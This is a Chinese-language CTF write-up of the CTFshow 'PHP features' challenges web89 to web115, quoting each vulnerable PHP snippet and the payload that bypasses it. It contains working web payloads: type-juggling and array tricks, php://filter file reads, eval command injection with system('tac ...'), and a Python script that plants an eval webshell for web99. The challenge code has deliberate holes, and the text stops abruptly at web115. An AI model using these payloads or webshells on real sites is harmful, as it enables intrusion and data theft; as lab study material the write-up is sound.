CTFSHOW-PHP特性

文章发布时间:

最后更新时间:

  • web89. intval

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 15:38:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */


    include("flag.php");
    highlight_file(__FILE__);

    if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
    die("no no no!");
    }
    if(intval($num)){
    echo $flag;
    }
    }
    1
    2
    3
    4
    这里引入函数 intval(mixed $value, int $base = 10): int
    通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。
    intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
    成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

    也就是说传一个对象过去即可,这里选择传一个数组

    1
    ?num[]=whatever
  • web90. intval

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 16:06:11
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */


    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
    die("no no no!");
    }
    if(intval($num,0)===4476){
    echo $flag;
    }else{
    echo intval($num,0);
    }
    }

    还是针对intval函数的研究,我们接着看文档

    1
    2
    3
    4
    5
    如果 base 是 0,通过检测 value 的格式来决定使用的进制:

    如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
    如果字符串以 "0" 开始,使用 8 进制(octal);否则,
    将使用 10 进制 (decimal)。

    所以穿一个16进制的4476即可

    1
    ?num=0x117c
  • web91. preg_match

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: Firebasky
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 16:16:09
    # @link: https://ctfer.com

    */

    show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
    echo 'hacker';
    }
    else{
    echo $flag;
    }
    }
    else{
    echo 'nonononono';
    }

    Notice: Undefined index: cmd in /var/www/html/index.php on line 15
    nonononono

    仔细观察preg_match()可以发现模式修饰符不太一样

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    i (PCRE_CASELESS)
    如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。
    m (PCRE_MULTILINE)
    默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行),
    "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾,
    或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。
    当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,
    另外, 还分别匹配目标字符串的最开始和最末尾位置。
    这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,
    设置这个修饰符不产生任何影响。

    也就是说,前一个匹配换行符,将以换行为分隔符,逐行进行匹配;后一个不匹配

    1
    ?cmd=%0aphp
  • web92. php弱类型

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: Firebasky
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 16:29:30
    # @link: https://ctfer.com

    */

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
    die("no no no!");
    }
    if(intval($num,0)==4476){
    echo $flag;
    }else{
    echo intval($num,0);
    }
    }

    注意到了=====的区别

    1
    2
    3
    4
    5
    6
    === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
    == 在进行比较的时候,会先将字符串类型转化成相同,再比较,
    如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
    当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
    该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,
    如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

    但这题后面又用了intval函数,所以还是十六进制绕过吧

    1
    ?num=0x117c
  • web93. 弱类型 intval

    这回可以用八进制绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: Firebasky
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 16:32:58
    # @link: https://ctfer.com

    */

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
    die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    die("no no no!");
    }
    if(intval($num,0)==4476){
    echo $flag;
    }else{
    echo intval($num,0);
    }
    }
    1
    ?num=010574
  • web94. strpos

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-18 16:46:19
    # @link: https://ctfer.com

    */

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
    die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    die("no no no!");
    }
    if(!strpos($num, "0")){
    die("no no no!");
    }
    if(intval($num,0)===4476){
    echo $flag;
    }
    }

    这回换成了强类型比较,并且增加了strpos来定位0

    1
    2
    strpos(string $haystack, mixed $needle, int $offset = 0): int
    返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。

    也就是不能定位位置在0,同时还要能让intval识别出正确的数来,可以验证intval对于空格是可以绕过的,因此开头加个空格即可

    image.png{:height 242, :width 497}

    1
    ?num= 010574
  • web95.

    • 题面如下,多过滤了一个点号,可以继续用

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-18 16:53:59
      # @link: https://ctfer.com

      */

      include("flag.php");
      highlight_file(__FILE__);
      if(isset($_GET['num'])){
      $num = $_GET['num'];
      if($num==4476){
      die("no no no!");
      }
      if(preg_match("/[a-z]|\./i", $num)){
      die("no no no!!");
      }
      if(!strpos($num, "0")){
      die("no no no!!!");
      }
      if(intval($num,0)===4476){
      echo $flag;
      }
      }
  • web96. 读文件

    • 题面如下,这题搞了一个文件读取

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-18 19:21:24
      # @link: https://ctfer.com

      */


      highlight_file(__FILE__);

      if(isset($_GET['u'])){
      if($_GET['u']=='flag.php'){
      die("no no no");
      }else{
      highlight_file($_GET['u']);
      }


      }

      flag.php不能直接读,但是hight_file也支持php伪协议

      image.png

      1
      2
      3
      ?u=php://filter/read=convert.base64-encode/resource=flag.php
      或者也可以直接的,加上相对路径 ./flag.php

  • web97. md5强类型比较

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-18 19:36:32
      # @link: https://ctfer.com

      */

      include("flag.php");
      highlight_file(__FILE__);
      if (isset($_POST['a']) and isset($_POST['b'])) {
      if ($_POST['a'] != $_POST['b'])
      if (md5($_POST['a']) === md5($_POST['b']))
      echo $flag;
      else
      print 'Wrong.';
      }
      ?>

      利用特性:数组绕过

      php中的md5()函数无法处理数组类型数据,对于数组类型数据返回NULL,当我们传入两个数组时,就会变成两个NULL,也就是NULL==NULL,成功绕过

      1
      a[]=1&b[]=2
  • web98. 传参特性,考查三目运算符和取地址

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      Notice: Undefined index: flag in /var/www/html/index.php on line 15

      Notice: Undefined index: flag in /var/www/html/index.php on line 16

      Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-18 21:39:27
      # @link: https://ctfer.com

      */

      include("flag.php");
      $_GET?$_GET=&$_POST:'flag';
      $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
      $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
      highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

      ?>

      第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
      第四行,如果get参数 HTTP_FLAG 的值为flag,就读取文件,也就是输出flag

      1
      2
      3
      ?1=2
      POST:
      HTTP_FLAG=flag
  • web99. in_array() 弱类型比较

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-18 22:36:12
      # @link: https://ctfer.com

      */

      highlight_file(__FILE__);
      $allow = array();
      for ($i=36; $i < 0x36d; $i++) {
      array_push($allow, rand(1,$i));
      }
      if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
      file_put_contents($_GET['n'], $_POST['content']);
      }

      ?>

      在数组中随机往里存值,然后从get传参的值如果在随机数数组中,就可以往对应文件名中写数据

      这里关注一下in_array()

      1
      2
      3
      4
      5
      in_array(mixed $needle, array $haystack, bool $strict = false): bool
      大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。
      在 PHP 8.0.0 之前,string needle 在非严格模式下将会匹配数组中的值 0,反之亦然。
      这可能会导致不希望的结果。其它类型也存在类似的边缘情况。
      如果不是绝对确定有关值的类型,请始终使用 strict flag 以避免意外行为。

      也就是说get传参的值与数组的比较是弱类型,字符串将会转换成数值后再去比较。所以可以构造一个123.php,然后匹配到后即可写入恶意代码到该文件中并被解析。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      # coding=gbk
      import requests

      url = "http://02822d1a-f380-4901-af37-15bc5e20aed6.challenge.ctf.show/?n=123.php"

      data = {
      'content': "<?php @eval($_POST['hack']); ?>"
      }
      while(True):
      r = requests.post(url, data=data)
      r1 = requests.get(url="http://02822d1a-f380-4901-af37-15bc5e20aed6.challenge.ctf.show/123.php")
      if r1.status_code == 200:
      data = {
      'hack': "system('nl flag36d.php');"
      }
      r2 = requests.post(url="http://02822d1a-f380-4901-af37-15bc5e20aed6.challenge.ctf.show/123.php", data=data)
      print(r2.text)
      break
  • web100. 逻辑运算优先级

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-21 22:10:28
      # @link: https://ctfer.com

      */

      highlight_file(__FILE__);
      include("ctfshow.php");
      //flag in class ctfshow;
      $ctfshow = new ctfshow();
      $v1=$_GET['v1'];
      $v2=$_GET['v2'];
      $v3=$_GET['v3'];
      $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
      if($v0){
      if(!preg_match("/\;/", $v2)){
      if(preg_match("/\;/", $v3)){
      eval("$v2('ctfshow')$v3");
      }
      }

      }


      ?>

      看样子是想让我们拼接出一个命令执行来

      这里注意逻辑运算符and,其中优先级运算关系为&& > = > and

      所以优先赋值操作,所以后面随便构造

      1
      2
      3
      ?v1=1&v2=system('ls')&v3=;
      有些查看文件命令读不出来
      ?v1=1&v2=system('tac ctfshow.php')&v3=;
  • web 101. 修补100题非预期,替换0x2d 类反射

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-22 00:26:48
      # @link: https://ctfer.com

      */

      highlight_file(__FILE__);
      include("ctfshow.php");
      //flag in class ctfshow;
      $ctfshow = new ctfshow();
      $v1=$_GET['v1'];
      $v2=$_GET['v2'];
      $v3=$_GET['v3'];
      $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
      if($v0){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
      eval("$v2('ctfshow')$v3");
      }
      }

      }

      ?>

      前面的逻辑都是一样的,只不过在命令执行拼接的时候过滤了很多符号

      1
      2
      3
      PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
      $class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
      $instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类

      超,这可比JAVA反射简单多了(

      1
      v1=1&v2=echo new ReflectionClass&v3=;
  • web101. 换个姿势

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: atao
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-23 20:59:43

      */


      highlight_file(__FILE__);
      $v1 = $_POST['v1'];
      $v2 = $_GET['v2'];
      $v3 = $_GET['v3'];
      $v4 = is_numeric($v2) and is_numeric($v3);
      if($v4){
      $s = substr($v2,2);
      $str = call_user_func($v1,$s);
      echo $str;
      file_put_contents($v3,$str);
      }
      else{
      die('hacker');
      }


      ?>

      首先通过substr截取字符串,后面一位2限制了偏移位置

      其次关注call_user_func

      1
      2
      3
      call_user_func(callable $callback, mixed ...$args): mixed
      第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

      v3文件名可控,想让$str的值为webshell,就需要$s能为数字形式的webshell

      思路可以通过编码的方式来构造,其中shell构造为

      1
      <?=`tac *`;  	     # 说明:<?=是echo()的快捷用法

      image.png{:height 259, :width 228}

      接着,先将其进行base64编码,再16进制编码,这样回调函数就可以使用hex2bin(),而写入文件时通过伪协议进行base64解码。(直接16进制编码会包含字母),去掉==冗余恰好可以满足全数字

      image.png{:height 400, :width 420}

      substr截取字符串,后面一位2限制了偏移位置,所以在前面加上两位就可以截取到正确的字符串

      1
      2
      3
      v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=racerz.php
      POST:
      v1=hex2bin
  • web103. 换个姿势

    • 题面如下,过滤了一下php,不知道是啥逻辑,payload继续打

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: atao
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-23 21:03:24

      */


      highlight_file(__FILE__);
      $v1 = $_POST['v1'];
      $v2 = $_GET['v2'];
      $v3 = $_GET['v3'];
      $v4 = is_numeric($v2) and is_numeric($v3);
      if($v4){
      $s = substr($v2,2);
      $str = call_user_func($v1,$s);
      echo $str;
      if(!preg_match("/.*p.*h.*p.*/i",$str)){
      file_put_contents($v3,$str);
      }
      else{
      die('Sorry');
      }
      }
      else{
      die('hacker');
      }

      ?>
  • web104. 换个姿势 数组绕过

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: atao
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-28 22:27:20

      */


      highlight_file(__FILE__);
      include("flag.php");

      if(isset($_POST['v1']) && isset($_GET['v2'])){
      $v1 = $_POST['v1'];
      $v2 = $_GET['v2'];
      if(sha1($v1)==sha1($v2)){
      echo $flag;
      }
      }



      ?>

      要去比较get传参和post传参的哈希SHA1是否相等,这里用的是弱类型进行的比较。和md5一样,该函数同样针对数组返回NULL,即通过数组绕过即可

      1
      2
      v2[]=1
      POST: v1[]=1
  • web105. 换个姿势 经典变量覆盖

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-28 22:34:07

      */

      highlight_file(__FILE__);
      include('flag.php');
      error_reporting(0);
      $error='你还想要flag嘛?';
      $suces='既然你想要那给你吧!';
      foreach($_GET as $key => $value){
      if($key==='error'){
      die("what are you doing?!");
      }
      $$key=$$value;
      }foreach($_POST as $key => $value){
      if($value==='flag'){
      die("what are you doing?!");
      }
      $$key=$$value;
      }
      if(!($_POST['flag']==$flag)){
      die($error);
      }
      echo "your are good".$flag."\n";
      die($suces);

      ?>

      首先限制了$key!=error $value!=flag

      但是可以通过覆盖变量值$error或者$suces通过die时回显出来

      1
      2
      3
      4
      5
      6
      7
      8
      方式一:
      回显error
      suces=flag
      POST: error=suces
      方式二:
      回显suces
      suces=flag&flag=
      直接将flag置空
  • web106. 换个姿势

    • 题面如下,依照前一题增加了个判断两变量值不能相等,依然可以数组绕过

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: atao
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-28 22:38:27

      */


      highlight_file(__FILE__);
      include("flag.php");

      if(isset($_POST['v1']) && isset($_GET['v2'])){
      $v1 = $_POST['v1'];
      $v2 = $_GET['v2'];
      if(sha1($v1)==sha1($v2) && $v1!=$v2){
      echo $flag;
      }
      }



      ?>
  • web107. 换个姿势

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-28 23:24:14

      */


      highlight_file(__FILE__);
      error_reporting(0);
      include("flag.php");

      if(isset($_POST['v1'])){
      $v1 = $_POST['v1'];
      $v3 = $_GET['v3'];
      parse_str($v1,$v2);
      if($v2['flag']==md5($v3)){
      echo $flag;
      }

      }

      ?>

      关注一下parse_str()

      1
      2
      3
      parse_str(string $string, array &$result): void
      如果 string 是 URL 传递入的查询字符串(query string),
      则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )

      image.png{:height 622, :width 413}

      所以也就是构造一个明文和一个md5哈希值然后传就完了

      1
      2
      v3=test
      POST: v1=flag=098f6bcd4621d373cade4e832627b4f6
  • web108. 换个姿势 ereg漏洞

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-28 23:53:55

      */


      highlight_file(__FILE__);
      error_reporting(0);
      include("flag.php");

      if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
      die('error');

      }
      //只有36d的人才能看到flag
      if(intval(strrev($_GET['c']))==0x36d){
      echo $flag;
      }

      ?>

      几个函数的特性

      1
      2
      3
      4
      5
      6
      int ereg(string pattern, string originalstring, [array regs]);
      函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。
      涉及到的问题:%00截断及遇到%00则默认为字符串的结束

      strrev(string $string): string
      返回反转后的字符串

      前面intval我们已经学过,默认情况下转换为10进制,对于0x36d,其十进制为877

      即利用00截断来匹配英文,配合后面strrev,我们可以构造a778,翻转后的877a经intval即变为877

      1
      c=a%00778
  • web109. 换个姿势 内置类绕过报错

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-29 22:02:34

      */


      highlight_file(__FILE__);
      error_reporting(0);
      if(isset($_GET['v1']) && isset($_GET['v2'])){
      $v1 = $_GET['v1'];
      $v2 = $_GET['v2'];

      if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
      eval("echo new $v1($v2());");
      }

      }

      ?>

      Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

      因此我们可以利用异常类来让v1不报错,v2去执行系统命令

      1
      v1=Exception&v2=system('tac fl36dg.txt')
  • web110. 我报警了 FilesystemIterator文件系统迭代器

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-29 22:49:10

      */


      highlight_file(__FILE__);
      error_reporting(0);
      if(isset($_GET['v1']) && isset($_GET['v2'])){
      $v1 = $_GET['v1'];
      $v2 = $_GET['v2'];

      if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
      die("error v1");
      }
      if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
      die("error v2");
      }

      eval("echo new $v1($v2());");

      }

      ?>

      困难点1:过滤了() ' 导致无法再用system执行命令

      困难点2:由于1的限制无法获取文件名

      可以使用php提供的文件系统迭代器,通过getcwd()获取当前目录下的文件结构

      1
      v1=FilesystemIterator&v2=getcwd

      回显fl36dga.txt,直接访问即可
      id:: 6334749c-0215-4159-ada8-e36317b3d83f

  • web111. 变量覆盖

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-30 02:41:40

      */

      highlight_file(__FILE__);
      error_reporting(0);
      include("flag.php");

      function getFlag(&$v1,&$v2){
      eval("$$v1 = &$$v2;");
      var_dump($$v1);
      }


      if(isset($_GET['v1']) && isset($_GET['v2'])){
      $v1 = $_GET['v1'];
      $v2 = $_GET['v2'];

      if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
      die("error v1");
      }
      if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
      die("error v2");
      }

      if(preg_match('/ctfshow/', $v1)){
      getFlag($v1,$v2);
      }





      }

      ?>

      首先对v1要求必须含有ctfshow,其次在getFlag中会将v2的地址传给v1然后再输出v1

      这里的思路就是v2选择一个数组可供v1来输出,其中还要能包含变量flag

      所以考虑全局数组$GLOBALS:引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

      1
      v1=ctfshow&v2=GLOBALS
  • web112. 函数绕过

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-30 23:47:49

      */

      highlight_file(__FILE__);
      error_reporting(0);
      function filter($file){
      if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
      die("hacker!");
      }else{
      return $file;
      }
      }
      $file=$_GET['file'];
      if(! is_file($file)){
      highlight_file(filter($file));
      }else{
      echo "hacker!";
      }
      1
      2
      3
      4
      is_file()
      如果文件存在且为正常的文件则返回 true,否则返回 false
      自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。
      请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

      原来就是利用php伪协议。。。配合高亮文本,连base64都不需要

      1
      file=php://filter/resource=flag.php
  • web113. 函数绕过

    • 题面如下,多过滤了一个filter关键字

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-30 23:47:52

      */

      highlight_file(__FILE__);
      error_reporting(0);
      function filter($file){
      if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
      die('hacker!');
      }else{
      return $file;
      }
      }
      $file=$_GET['file'];
      if(! is_file($file)){
      highlight_file(filter($file));
      }else{
      echo "hacker!";
      }

      换另一个伪协议zlib://

      compress.zlib://:zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。

      1
      file=compress.zlib://flag.php
  • web114. 函数绕过

    • 题面如下,多过滤了compress|root|zip|convert 但是filter还在

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-01 15:02:53

      */

      error_reporting(0);
      highlight_file(__FILE__);
      function filter($file){
      if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
      die('hacker!');
      }else{
      return $file;
      }
      }
      $file=$_GET['file'];
      echo "师傅们居然tql都是非预期 哼!";
      if(! is_file($file)){
      highlight_file(filter($file));
      }else{
      echo "hacker!";
      } 师傅们居然tql都是非预期 哼!

      依旧是使用最经典的伪协议即可

  • web115. 函数绕过

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
